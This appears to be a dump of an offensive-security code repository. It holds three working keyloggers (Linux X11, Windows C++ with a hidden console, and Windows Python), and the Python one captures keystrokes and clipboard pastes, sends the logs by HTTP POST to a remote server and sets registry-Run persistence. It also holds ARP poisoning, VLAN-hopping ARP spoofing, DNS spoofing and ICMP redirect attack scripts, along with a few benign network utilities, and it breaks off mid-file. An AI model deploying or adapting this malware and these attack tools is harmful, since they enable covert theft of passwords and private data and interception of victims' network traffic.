| # notice, this list of conditions and the following disclaimer. 10 | # * Redistributions in binary form must reproduce the above copyright 11 | # notice, this list of conditions and the following disclaimer in the 12 | # documentation and/or other materials provided with the distribution. 13 | # * Neither the name of the nor the 14 | # names of its contributors may be used to endorse or promote products 15 | # derived from this software without specific prior written permission. 16 | 17 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 18 | # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 19 | # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 20 | # DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 21 | # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 22 | # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 23 | # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 24 | # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 25 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 26 | # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | 28 | 29 | import sys 30 | from time import sleep, time 31 | import ctypes as ct 32 | from ctypes.util import find_library 33 | 34 | 35 | # linux only! 36 | assert("linux" in sys.platform) 37 | 38 | 39 | x11 = ct.cdll.LoadLibrary(find_library("X11")) 40 | display = x11.XOpenDisplay(None) 41 | 42 | 43 | # this will hold the keyboard state. 32 bytes, with each 44 | # bit representing the state for a single key. 45 | keyboard = (ct.c_char * 32)() 46 | 47 | # these are the locations (byte, byte value) of special 48 | # keys to watch 49 | shift_keys = ((6,4), (7,64)) 50 | modifiers = { 51 | "left shift": (6,4), 52 | "right shift": (7,64), 53 | "left ctrl": (4,32), 54 | "right ctrl": (13,2), 55 | "left alt": (8,1), 56 | "right alt": (13,16) 57 | } 58 | last_pressed = set() 59 | last_pressed_adjusted = set() 60 | last_modifier_state = {} 61 | caps_lock_state = 0 62 | 63 | # key is byte number, value is a dictionary whose 64 | # keys are values for that byte, and values are the 65 | # keys corresponding to those byte values 66 | key_mapping = { 67 | 1: { 68 | 0b00000010: "", 69 | 0b00000100: ("1", "!"), 70 | 0b00001000: ("2", "@"), 71 | 0b00010000: ("3", "#"), 72 | 0b00100000: ("4", "$"), 73 | 0b01000000: ("5", "%"), 74 | 0b10000000: ("6", "^"), 75 | }, 76 | 2: { 77 | 0b00000001: ("7", "&"), 78 | 0b00000010: ("8", "*"), 79 | 0b00000100: ("9", "("), 80 | 0b00001000: ("0", ")"), 81 | 0b00010000: ("-", "_"), 82 | 0b00100000: ("=", "+"), 83 | 0b01000000: "", 84 | 0b10000000: "", 85 | }, 86 | 3: { 87 | 0b00000001: ("q", "Q"), 88 | 0b00000010: ("w", "W"), 89 | 0b00000100: ("e", "E"), 90 | 0b00001000: ("r", "R"), 91 | 0b00010000: ("t", "T"), 92 | 0b00100000: ("y", "Y"), 93 | 0b01000000: ("u", "U"), 94 | 0b10000000: ("i", "I"), 95 | }, 96 | 4: { 97 | 0b00000001: ("o", "O"), 98 | 0b00000010: ("p", "P"), 99 | 0b00000100: ("[", "{"), 100 | 0b00001000: ("]", "}"), 101 | 0b00010000: "", 102 | #0b00100000: "", 103 | 0b01000000: ("a", "A"), 104 | 0b10000000: ("s", "S"), 105 | }, 106 | 5: { 107 | 0b00000001: ("d", "D"), 108 | 0b00000010: ("f", "F"), 109 | 0b00000100: ("g", "G"), 110 | 0b00001000: ("h", "H"), 111 | 0b00010000: ("j", "J"), 112 | 0b00100000: ("k", "K"), 113 | 0b01000000: ("l", "L"), 114 | 0b10000000: (";", ":"), 115 | }, 116 | 6: { 117 | 0b00000001: ("'", "\""), 118 | 0b00000010: ("`", "~"), 119 | #0b00000100: "", 120 | 0b00001000: ("\\", "|"), 121 | 0b00010000: ("z", "Z"), 122 | 0b00100000: ("x", "X"), 123 | 0b01000000: ("c", "C"), 124 | 0b10000000: ("v", "V"), 125 | }, 126 | 7: { 127 | 0b00000001: ("b", "B"), 128 | 0b00000010: ("n", "N"), 129 | 0b00000100: ("m", "M"), 130 | 0b00001000: (",", "<"), 131 | 0b00010000: (".", ">"), 132 | 0b00100000: ("/", "?"), 133 | #0b01000000: "", 134 | }, 135 | 8: { 136 | #0b00000001: "", 137 | 0b00000010: " ", 138 | 0b00000100: "", 139 | }, 140 | 13: { 141 | #0b00000010: "", 142 | #0b00010000: "", 143 | }, 144 | } 145 | 146 | 147 | 148 | 149 | def fetch_keys_raw(): 150 | x11.XQueryKeymap(display, keyboard) 151 | return keyboard 152 | 153 | 154 | 155 | def fetch_keys(): 156 | global caps_lock_state, last_pressed, last_pressed_adjusted, last_modifier_state 157 | keypresses_raw = fetch_keys_raw() 158 | 159 | 160 | # check modifier states (ctrl, alt, shift keys) 161 | modifier_state = {} 162 | for mod, (i, byte) in modifiers.iteritems(): 163 | modifier_state[mod] = bool(ord(keypresses_raw[i]) & byte) 164 | 165 | # shift pressed? 166 | shift = 0 167 | for i, byte in shift_keys: 168 | if ord(keypresses_raw[i]) & byte: 169 | shift = 1 170 | break 171 | 172 | # caps lock state 173 | if ord(keypresses_raw[8]) & 4: caps_lock_state = int(not caps_lock_state) 174 | 175 | 176 | # aggregate the pressed keys 177 | pressed = [] 178 | for i, k in enumerate(keypresses_raw): 179 | o = ord(k) 180 | if o: 181 | for byte,key in key_mapping.get(i, {}).iteritems(): 182 | if byte & o: 183 | if isinstance(key, tuple): key = key[shift or caps_lock_state] 184 | pressed.append(key) 185 | 186 | 187 | tmp = pressed 188 | pressed = list(set(pressed).difference(last_pressed)) 189 | state_changed = tmp != last_pressed and (pressed or last_pressed_adjusted) 190 | last_pressed = tmp 191 | last_pressed_adjusted = pressed 192 | 193 | if pressed: pressed = pressed[0] 194 | else: pressed = None 195 | 196 | 197 | state_changed = last_modifier_state and (state_changed or modifier_state != last_modifier_state) 198 | last_modifier_state = modifier_state 199 | 200 | return state_changed, modifier_state, pressed 201 | 202 | 203 | 204 | 205 | def log(done, callback, sleep_interval=.005): 206 | while not done(): 207 | sleep(sleep_interval) 208 | changed, modifiers, keys = fetch_keys() 209 | if changed: callback(time(), modifiers, keys) 210 | 211 | 212 | 213 | 214 | if __name__ == "__main__": 215 | now = time() 216 | done = lambda: time() > now + 60 217 | def print_keys(t, modifiers, keys): print "%.2f %r %r" % (t, keys, modifiers) 218 | 219 | log(done, print_keys) 220 | -------------------------------------------------------------------------------- /keylogger/keylogger_in_windows.cpp: -------------------------------------------------------------------------------- 1 | /* a simple keylogger write in c++ 2 | * Just running in Windows, and test in Windows7(64bit). 3 | * Author: s0nnet 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | using namespace std; 14 | int Save (int key_stroke); 15 | void Stealth(); 16 | 17 | int main() 18 | { 19 | Stealth(); 20 | char data; 21 | while (1) { 22 | for(data = 8; data <= 190; data ++) { 23 | if (GetAsyncKeyState(data) == -32767) 24 | Save(data); 25 | } 26 | } 27 | system ("PAUSE"); 28 | return 0; 29 | } 30 | 31 | int Save (int key_stroke) { 32 | if ( (key_stroke == 1) || (key_stroke == 2) ) 33 | return 0; 34 | 35 | time_t t=time(0); 36 | char tm[64]; 37 | strftime(tm, sizeof(tm), "%Y-%m-%d %X", localtime(&t)); 38 | 39 | int size; 40 | char *logs; 41 | logs = (char *)malloc(100); 42 | 43 | cout << key_stroke << endl; 44 | 45 | if (key_stroke == 8) 46 | size = sprintf(logs, "[%s] %s", tm, "[BackSpace]"); 47 | else if (key_stroke == 13) 48 | size = sprintf(logs, "[%s] %s", tm, "[Enter]"); 49 | else if (key_stroke == 32) 50 | size = sprintf(logs, "[%s] %s", tm, "|_|"); 51 | else if (key_stroke == VK_TAB) 52 | size = sprintf(logs, "[%s] %s", tm, "[Tab]"); 53 | else if (key_stroke == VK_SHIFT) 54 | size = sprintf(logs, "[%s] %s", tm, "[Shift]"); 55 | else if (key_stroke == VK_CONTROL) 56 | size = sprintf(logs, "[%s] %s", tm, "[Ctrl]"); 57 | else if (key_stroke == VK_ESCAPE) 58 | size = sprintf(logs, "[%s] %s", tm, "[Esc]"); 59 | else if (key_stroke == VK_END) 60 | size = sprintf(logs, "[%s] %s", tm, "[End]"); 61 | else if (key_stroke == VK_HOME) 62 | size = sprintf(logs, "[%s] %s", tm, "[Home]"); 63 | else if (key_stroke == VK_LEFT) 64 | size = sprintf(logs, "[%s] %s", tm, "[Left]"); 65 | else if (key_stroke == VK_UP) 66 | size = sprintf(logs, "[%s] %s", tm, "[Up]"); 67 | else if (key_stroke == VK_RIGHT) 68 | size = sprintf(logs, "[%s] %s", tm, "[Right]"); 69 | else if (key_stroke == VK_DOWN) 70 | size = sprintf(logs, "[%s] %s", tm, "[Down]"); 71 | else if (key_stroke == 190 || key_stroke == 110) 72 | size = sprintf(logs, "[%s] %s", tm, "."); 73 | else 74 | size = sprintf(logs, "[%s] %s", tm, &key_stroke); 75 | 76 | FILE *fp; 77 | fp = fopen("keylogger_logs.txt", "a+"); 78 | fwrite(logs, size, 1, fp); 79 | fputc('\n', fp); 80 | fclose(fp); 81 | free(logs); 82 | 83 | return 0; 84 | HWND Stealth; 85 | 86 | AllocConsole(); 87 | } 88 | 89 | void Stealth() { 90 | ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); 91 | } 92 | -------------------------------------------------------------------------------- /keylogger/keylogger_send_http.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # A sample keyloger run in Windows. 4 | # Using http "POST" method sending log data to the Web Server. 5 | # So that you can get the log with any browser and any where. 6 | # And add an function to send message to the client. 7 | # Using PyInstaller converts Python into executable Windows programs. 8 | # 9 | # Author: s0nnet 10 | # Mail: s0nnet@sina.com 11 | 12 | import os 13 | import sys 14 | import time 15 | import getpass 16 | import thread 17 | import urllib 18 | import requests 19 | import win32api 20 | import win32con 21 | import pythoncom 22 | import pyHook 23 | import win32clipboard 24 | from ctypes import * 25 | 26 | 27 | user32 = windll.user32 28 | kernel32 = windll.kernel32 29 | psapi = windll.psapi 30 | current_window = None 31 | 32 | old = ' ' 33 | client_id = 'test-PC' 34 | filename = 'log.txt' 35 | POST_URL = 'http://xxxx.sinaapp.com/action.php' 36 | MSG_URL = 'http://xxxx.sinaapp.com/msgbox.txt' 37 | tittle = u'消息啦' 38 | 39 | def get_user(): 40 | global client_id 41 | try: 42 | client_id = getpass.getuser() 43 | except: 44 | pass 45 | 46 | def showmsg(user,text): 47 | global old 48 | if ((cmp(old,text) !=0) and (cmp(user,client_id)==0)): 49 | win32api.MessageBox(0,text,tittle,0) 50 | old = text 51 | else: 52 | pass 53 | 54 | 55 | def write_txt(log): 56 | f = open(filename,'a+') 57 | f.write(log) 58 | f.close() 59 | 60 | def http_data(): 61 | while True: 62 | time.sleep(10) 63 | try: 64 | f = open(filename,'r') 65 | lines = f.readlines() 66 | f.close() 67 | info = ''.join(lines) 68 | if (len(info)> 3): 69 | keep = client_id + '@' + time.strftime('%H:%M',time.localtime()) 70 | data = {'msg':info,'on_line':keep} 71 | requests.post(POST_URL,data) 72 | f = open(filename,'w') 73 | f.close() 74 | try: 75 | res = urllib.urlopen(MSG_URL).read() 76 | user = res.split('@')[0] 77 | text = res.split('@')[1] 78 | showmsg(user,text) 79 | except: 80 | pass 81 | except: 82 | time.sleep(200) 83 | pass 84 | 85 | def get_current_process(): 86 | hwnd = user32.GetForegroundWindow() 87 | pid = c_ulong(0) 88 | user32.GetWindowThreadProcessId(hwnd,byref(pid)) 89 | process_id = "%d" % pid.value 90 | executable = create_string_buffer("\x00"*512) 91 | h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 92 | psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 93 | windows_title = create_string_buffer("\x00"*512) 94 | length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 95 | write_txt('\n['+client_id+']-'+executable.value+'-'+windows_title.value+'\n==>') 96 | kernel32.CloseHandle(hwnd) 97 | kernel32.CloseHandle(h_process) 98 | 99 | def KeyStroke(event): 100 | global current_window 101 | if event.WindowName != current_window: 102 | current_window = event.WindowName 103 | get_current_process() 104 | if event.Ascii > 32 and event.Ascii <127: 105 | write_txt(chr(event.Ascii)) 106 | else: 107 | if event.Key == "V": 108 | win32clipboard.OpenClipboard() 109 | pasted_value = win32clipboard.GetClipboardData() 110 | win32clipboard.CloseClipboard() 111 | write_txt('[PASTE]-'+pasted_value) 112 | else: 113 | write_txt('['+event.Key+']') 114 | return True 115 | 116 | def keyloger(): 117 | kl = pyHook.HookManager() 118 | kl.KeyDown = KeyStroke 119 | kl.HookKeyboard() 120 | pythoncom.PumpMessages() 121 | 122 | def getPath(): 123 | path = os.path.abspath(sys.argv[0]) 124 | return path 125 | 126 | def add_start(path): 127 | try: #using the 'KEY_ALL_ACCESS',so please running with administrator 128 | subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 129 | key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS) 130 | win32api.RegSetValueEx(key,'system_config',0,win32con.REG_SZ,path) 131 | except: 132 | pass 133 | 134 | if __name__=='__main__': 135 | get_user() 136 | add_start(getPath()) 137 | thread.start_new_thread(http_data,()) 138 | time.sleep(1) 139 | keyloger() 140 | -------------------------------------------------------------------------------- /net_attacking/arp_poison.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # arp poison in the lan. 4 | # Author: s0nnet 5 | # Email: s0nnet@sina.com 6 | 7 | 8 | import sys 9 | from scapy.all import sniff, sendp, ARP, Ether 10 | 11 | 12 | if len(sys.argv) < 2: 13 | print sys.argv[0] + " " 14 | sys.exit(0) 15 | 16 | 17 | def arp_poison_callback(packet): 18 | # Got ARP request 19 | if packet[ARP].op == 1: 20 | answer = Ether(dst=packet[ARP].hwsrc) / ARP() 21 | answer[ARP].op = "is-at" 22 | answer[ARP].hwdst = packet[ARP].hwsrc 23 | answer[ARP].psrc = packet[ARP].pdst 24 | answer[ARP].pdst = packet[ARP].psrc 25 | 26 | print "Fooling " + packet[ARP].psrc + " that " + \ 27 | packet[ARP].pdst + " is me" 28 | 29 | sendp(answer, iface=sys.argv[1]) 30 | 31 | sniff(prn=arp_poison_callback, 32 | filter="arp", 33 | iface=sys.argv[1], 34 | store=0) 35 | -------------------------------------------------------------------------------- /net_attacking/arp_spoof.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # arp spoof script 4 | # Author: s0nnet 5 | # Email: s0nnet@sina.com 6 | 7 | 8 | import sys 9 | import time 10 | from scapy.all import sendp, ARP, Ether 11 | 12 | if len(sys.argv) < 3: 13 | print sys.argv[0] + ": " 14 | sys.exit(1) 15 | 16 | iface = "eth0" 17 | target_ip = sys.argv[1] 18 | fake_ip = sys.argv[2] 19 | 20 | ethernet = Ether() 21 | arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at") 22 | packet = ethernet / arp 23 | 24 | while True: 25 | sendp(packet, iface=iface) 26 | time.sleep(1) 27 | -------------------------------------------------------------------------------- /net_attacking/arp_spoof_vlan.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | import time 4 | from scapy.all import sendp,ARP,Ether,Dot1Q 5 | 6 | iface = 'eth0' 7 | tatget_ip = '192.168.1.100' 8 | fake_ip = '192.168.1.200' 9 | fake_mac = '11:22:33:aa:bb:cc' 10 | self_vlan = 1 11 | target_vlan = 2 12 | 13 | packet = Ether()/ \ 14 | Dot1Q(vlan=self_vlan) / \ 15 | Dot1Q(vlan=target_vlan) / \ 16 | ARP(hwsrc=fake_mac, 17 | pdst=tatget_ip, 18 | psrc=fake_ip, 19 | op='is-at') 20 | 21 | while True: 22 | sendp(packet,iface=iface) 23 | time.sleep(2) 24 | -------------------------------------------------------------------------------- /net_attacking/arp_watcher_monitor.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 3 | # A tiny tool to report all newly 4 | # connected devices to our network 5 | # with IP and MAC.It can detect if 6 | # ones MAC has changed. 7 | 8 | from scapy.all import sniff,ARP 9 | from signal import signal,SIGINT 10 | import sys 11 | 12 | arp_watcher_db_file = '/var/cache/arp-watcher.db' 13 | ip_mac = {} 14 | 15 | # Save ARP table on shutdown 16 | def sig_int_handler(signum,frame): 17 | print 'Got SIGINT. Saving ARP database...' 18 | try: 19 | f = open(arp_watcher_db_file,'w') 20 | for (ip,mac) in ip_mac.items(): 21 | f.write(ip + '' + mac + '\n') 22 | 23 | f.close() 24 | print 'Done.' 25 | except IOError: 26 | print 'Cannot write file' + arp_watcher_db_file 27 | sys.exit(1) 28 | 29 | 30 | def watch_arp(pkt): 31 | #Got is-at pkt (ARP response) 32 | if pkt[ARP].op == 2: 33 | print pkt[ARP].hwsrc + ' ' + pkt[ARP].psrc 34 | 35 | #Device is now. Remember it. 36 | if ip_mac.get(pkt[ARP].psrc) == None: 37 | print 'Found new device' + pkt[ARP].hwsrc + ' ' + pkt[ARP].psrc 38 | ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc 39 | 40 | 41 | 42 | signal(SIGINT,sig_int_handler) 43 | 44 | if len(sys.argv) < 2: 45 | print sys.argv[0] + '' 46 | sys.exit(0) 47 | 48 | 49 | try: 50 | fh = open(arp_watcher_db_file,'r') 51 | except IOError: 52 | print 'Cannot read file' + arp_watcher_db_file 53 | sys.exit(1) 54 | 55 | 56 | for line in fh: 57 | line.chomp() 58 | (ip,mac) = line.split(' ') 59 | ip_mac[ip] = mac 60 | 61 | sniff(prn=watch_arp,filter='arp',iface=sys.argv[1],store=0) 62 | -------------------------------------------------------------------------------- /net_attacking/dns_spoof.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 3 | # A simple DNS spoofing script 4 | # It's batter with ARP-Spoofing 5 | # and delete the local hosts file 6 | # at same time. 7 | # The hosts-file like this: 8 | # 123.12.23.121 www.google.com 9 | # 10 | # by s0nnet 11 | 12 | 13 | import sys 14 | import getopt 15 | import scapy.all as scapy 16 | 17 | dev = "eth0" 18 | filter = "udp port 53" 19 | file = None 20 | dns_map = {} 21 | 22 | def handle_packet(packet): 23 | ip = packet.getlayer(scapy.IP) 24 | udp = packet.getlayer(scapy.UDP) 25 | dns = packet.getlayer(scapy.DNS) 26 | 27 | 28 | # standard (a record) dns query 29 | if dns.qr == 0 and dns.opcode == 0: 30 | queried_host = dns.qd.qname[:-1] 31 | resolved_ip = None 32 | 33 | if dns_map.get(queried_host): 34 | resolved_ip = dns_map.get(queried_host) 35 | elif dns_map.get('*'): 36 | resolved_ip = dns_map.get('*') 37 | 38 | if resolved_ip: 39 | dns_answer = scapy.DNSRR(rrname=queried_host + '.', 40 | ttl = 330, 41 | type="A", 42 | rclass="IN", 43 | rdata=resolved_ip) 44 | dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \ 45 | scapy.UDP(sport=udp.dport,dport=udp.sport) / \ 46 | scapy.DNS( 47 | id = dns.id, 48 | qr = 1, 49 | aa = 0, 50 | rcode = 0, 51 | qd = dns.qd, 52 | an = dns_answer 53 | ) 54 | print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src) 55 | scapy.send(dns_reply, iface=dev) 56 | 57 | def usage(): 58 | print sys.argv[0] + ' -f -i ' 59 | sys.exit(1) 60 | 61 | def parse_host_file(file): 62 | for line in open(file): 63 | line = line.rstrip('\n') 64 | 65 | if line: 66 | (ip, host) = line.split() 67 | dns_map[host] = ip 68 | 69 | try: 70 | cmd_opts = 'f:i:' 71 | opts, args = getopt.getopt(sys.argv[1:], cmd_opts) 72 | except getopt.GetoptError: 73 | usage() 74 | 75 | for opt in opts: 76 | if opt[0] == '-i': 77 | dev = opt[1] 78 | elif opt[0] == '-f': 79 | file = opt[1] 80 | else: 81 | usage() 82 | 83 | if file: 84 | parse_host_file(file) 85 | else: 86 | usage() 87 | 88 | print "Spoofing DNS requests on %s" % dev 89 | scapy.sniff(iface=dev, filter=filter, prn=handle_packet) 90 | -------------------------------------------------------------------------------- /net_attacking/get_http_header.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # alter http headers 4 | # 5 | 6 | import sys 7 | import httplib2 8 | 9 | if len(sys.argv) < 2: 10 | print sys.argv[0] + "" 11 | sys.exit(1) 12 | 13 | webclient = httplib2.Http() 14 | header, content = webclient.request(sys.argv[1], "GET") 15 | 16 | for filed, value in header.items(): 17 | print filed + ": " + value 18 | -------------------------------------------------------------------------------- /net_attacking/http_proxy_scanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # a simple proxy scaner tools. 4 | # Author: s0nnet 5 | # Email: s0nnet@sina.com 6 | 7 | 8 | 9 | import sys 10 | import os 11 | import socket 12 | import urllib 13 | from random import randint 14 | 15 | # Often used proxy ports 16 | proxy_ports = [80, 81, 1080, 8000, 8080, 8181, 8086, 8585] 17 | 18 | # URL we try to fetch 19 | get_host = "www.s0nnet.com" 20 | socket.setdefaulttimeout(3) 21 | 22 | # get a list of ips from start / stop ip 23 | def get_ips(start_ip, stop_ip): 24 | ips = [] 25 | tmp = [] 26 | 27 | for i in start_ip.split('.'): 28 | tmp.append("%02X" % long(i)) 29 | 30 | start_dec = long(''.join(tmp), 16) 31 | tmp = [] 32 | 33 | for i in stop_ip.split('.'): 34 | tmp.append("%02X" % long(i)) 35 | 36 | stop_dec = long(''.join(tmp), 16) 37 | 38 | while(start_dec < stop_dec + 1): 39 | bytes = [] 40 | bytes.append(str(int(start_dec / 16777216))) 41 | rem = start_dec % 16777216 42 | bytes.append(str(int(rem / 65536))) 43 | rem = rem % 65536 44 | bytes.append(str(int(rem / 256))) 45 | rem = rem % 256 46 | bytes.append(str(rem)) 47 | ips.append(".".join(bytes)) 48 | start_dec += 1 49 | 50 | return ips 51 | 52 | 53 | # try to connect to the proxy and fetch an url 54 | def proxy_scan(ip): 55 | 56 | # for every proxy port 57 | for port in proxy_ports: 58 | try: 59 | # try to connect to the proxy on that port 60 | s = socket.socket(socket.AF_INET, 61 | socket.SOCK_STREAM) 62 | s.connect((ip, port)) 63 | print ip + ":" + str(port) + " OPEN" 64 | 65 | # try to fetch the url 66 | print "GET " + get_host + " HTTP/1.0\n" 67 | s.send("GET " + get_host + " HTTP/1.0\r\n") 68 | s.send("\r\n") 69 | 70 | # get and print response 71 | while 1: 72 | data = s.recv(1024) 73 | 74 | if not data: 75 | break 76 | 77 | print data 78 | 79 | s.close() 80 | except socket.error: 81 | print ip + ":" + str(port) + " Connection refused" 82 | 83 | # parsing parameter 84 | if len(sys.argv) < 2: 85 | print sys.argv[0] + ": " 86 | sys.exit(1) 87 | else: 88 | if len(sys.argv) == 3: 89 | get_host = sys.argv[2] 90 | 91 | if sys.argv[1].find('-') > 0: 92 | start_ip, stop_ip = sys.argv[1].split("-") 93 | ips = get_ips(start_ip, stop_ip) 94 | 95 | while len(ips) > 0: 96 | i = randint(0, len(ips) - 1) 97 | lookup_ip = str(ips[i]) 98 | del ips[i] 99 | proxy_scan(lookup_ip) 100 | else: 101 | proxy_scan(sys.argv[1]) 102 | -------------------------------------------------------------------------------- /net_attacking/http_referer_spoof.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # spoof http referer with http headers 4 | # 5 | 6 | import sys 7 | import httplib2 8 | 9 | if len(sys.argv) < 2: 10 | print sys.argv[0] + ": " 11 | sys.exit(1) 12 | 13 | headers = {'Referer': 'http://www.cnblogs.com/lingerhk'} 14 | webclient = httplib2.Http() 15 | response, content = webclient.request(sys.argv[1], 16 | 'GET', 17 | headers = headers) 18 | 19 | print content 20 | -------------------------------------------------------------------------------- /net_attacking/icmp_ping_tool.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # A simple icmp ping tools. 4 | # Get more info http://www.s0nnet.com/archives/python-icmp 5 | # by s0nnet. 6 | 7 | 8 | import os 9 | import argparse 10 | import socket 11 | import struct 12 | import select 13 | import time 14 | 15 | 16 | ICMP_ECHO_REQUEST = 8 # Platform specific 17 | DEFAULT_TIMEOUT = 2 18 | DEFAULT_COUNT = 4 19 | 20 | 21 | class Pinger(object): 22 | """ Pings to a host -- the Pythonic way""" 23 | 24 | def __init__(self, target_host, count=DEFAULT_COUNT, timeout=DEFAULT_TIMEOUT): 25 | self.target_host = target_host 26 | self.count = count 27 | self.timeout = timeout 28 | 29 | 30 | def do_checksum(self, source_string): 31 | """ Verify the packet integritity """ 32 | sum = 0 33 | max_count = (len(source_string)/2)*2 34 | count = 0 35 | while count < max_count: 36 | val = ord(source_string[count + 1])*256 + ord(source_string[count]) 37 | sum = sum + val 38 | sum = sum & 0xffffffff 39 | count = count + 2 40 | 41 | if max_count> 16) + (sum & 0xffff) 46 | sum = sum + (sum >> 16) 47 | answer = ~sum 48 | answer = answer & 0xffff 49 | answer = answer >> 8 | (answer << 8 & 0xff00) 50 | return answer 51 | 52 | def receive_pong(self, sock, ID, timeout): 53 | """ 54 | Receive ping from the socket. 55 | """ 56 | time_remaining = timeout 57 | while True: 58 | start_time = time.time() 59 | readable = select.select([sock], [], [], time_remaining) 60 | time_spent = (time.time() - start_time) 61 | if readable[0] == []: # Timeout 62 | return 63 | 64 | time_received = time.time() 65 | recv_packet, addr = sock.recvfrom(1024) 66 | icmp_header = recv_packet[20:28] 67 | type, code, checksum, packet_ID, sequence = struct.unpack( 68 | "bbHHh", icmp_header 69 | ) 70 | if packet_ID == ID: 71 | bytes_In_double = struct.calcsize("d") 72 | time_sent = struct.unpack("d", recv_packet[28:28 + bytes_In_double])[0] 73 | return time_received - time_sent 74 | 75 | time_remaining = time_remaining - time_spent 76 | if time_remaining <= 0: 77 | return 78 | 79 | 80 | def send_ping(self, sock, ID): 81 | """ 82 | Send ping to the target host 83 | """ 84 | target_addr = socket.gethostbyname(self.target_host) 85 | 86 | my_checksum = 0 87 | 88 | # Create a dummy heder with a 0 checksum. 89 | header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1) 90 | bytes_In_double = struct.calcsize("d") 91 | data = (192 - bytes_In_double) * "Q" 92 | data = struct.pack("d", time.time()) + data 93 | 94 | # Get the checksum on the data and the dummy header. 95 | my_checksum = self.do_checksum(header + data) 96 | header = struct.pack( 97 | "bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1 98 | ) 99 | packet = header + data 100 | sock.sendto(packet, (target_addr, 1)) 101 | 102 | 103 | def ping_once(self): 104 | """ 105 | Returns the delay (in seconds) or none on timeout. 106 | """ 107 | icmp = socket.getprotobyname("icmp") 108 | try: 109 | sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) 110 | except socket.error, (errno, msg): 111 | if errno == 1: 112 | # Not superuser, so operation not permitted 113 | msg += "ICMP messages can only be sent from root user processes" 114 | raise socket.error(msg) 115 | except Exception, e: 116 | print "Exception: %s" %(e) 117 | 118 | my_ID = os.getpid() & 0xFFFF 119 | 120 | self.send_ping(sock, my_ID) 121 | delay = self.receive_pong(sock, my_ID, self.timeout) 122 | sock.close() 123 | return delay 124 | 125 | 126 | def ping(self): 127 | """ 128 | Run the ping process 129 | """ 130 | for i in xrange(self.count): 131 | print "Ping to %s..." % self.target_host, 132 | try: 133 | delay = self.ping_once() 134 | except socket.gaierror, e: 135 | print "Ping failed. (socket error: '%s')" % e[1] 136 | break 137 | 138 | if delay == None: 139 | print "Ping failed. (timeout within %ssec.)" % self.timeout 140 | else: 141 | delay = delay * 1000 142 | print "Get pong in %0.4fms" % delay 143 | 144 | 145 | 146 | if __name__ == '__main__': 147 | parser = argparse.ArgumentParser(description='Python ping') 148 | parser.add_argument('--target-host', action="store", dest="target_host", required=True) 149 | given_args = parser.parse_args() 150 | target_host = given_args.target_host 151 | pinger = Pinger(target_host=target_host) 152 | pinger.ping() 153 | -------------------------------------------------------------------------------- /net_attacking/icmp_redirection.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # icmp redirection script. 4 | # 5 | 6 | import sys 7 | import getopt 8 | from scpay.all import send, IP, ICMP 9 | 10 | # The address we send the packet to 11 | target = None 12 | 13 | # The address of the original gateway 14 | old_gw = None 15 | 16 | # The address of our desired gateway 17 | new_gw = None 18 | 19 | 20 | def usage(): 21 | print sys.argv[0] + """ 22 | -t 23 | -o 24 | -n """ 25 | sys.exit(1) 26 | 27 | # Parsing parameter 28 | try: 29 | cmd_opts = "t:o:n:" 30 | opts, args = getopt.getopt(sys.argv[1:], cmd_opts) 31 | except getopt.GetoptError: 32 | usage() 33 | 34 | for opt in opts: 35 | if opt[0] == "-t": 36 | target = opt[1] 37 | elif opt[0] == "-o": 38 | old_gw = opt[1] 39 | elif opt[0] == "-n": 40 | new_gw = opt[1] 41 | else: 42 | usage() 43 | 44 | # Construct and send the packet 45 | packet = IP(src=old_gw, dst=target) / \ 46 | ICMP(type=5, code=1, gw=new_gw) / \ 47 | IP(src=target, dst='0.0.0.0') 48 | 49 | send (packet) 50 | -------------------------------------------------------------------------------- /net_attacking/interface_sniffer.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # 4 | # A simple networking data packets 5 | # sniff script using the famous PCAP library. 6 | # Request: 7 | # pip install impacket pacpy 8 | # by s0nnet. 9 | 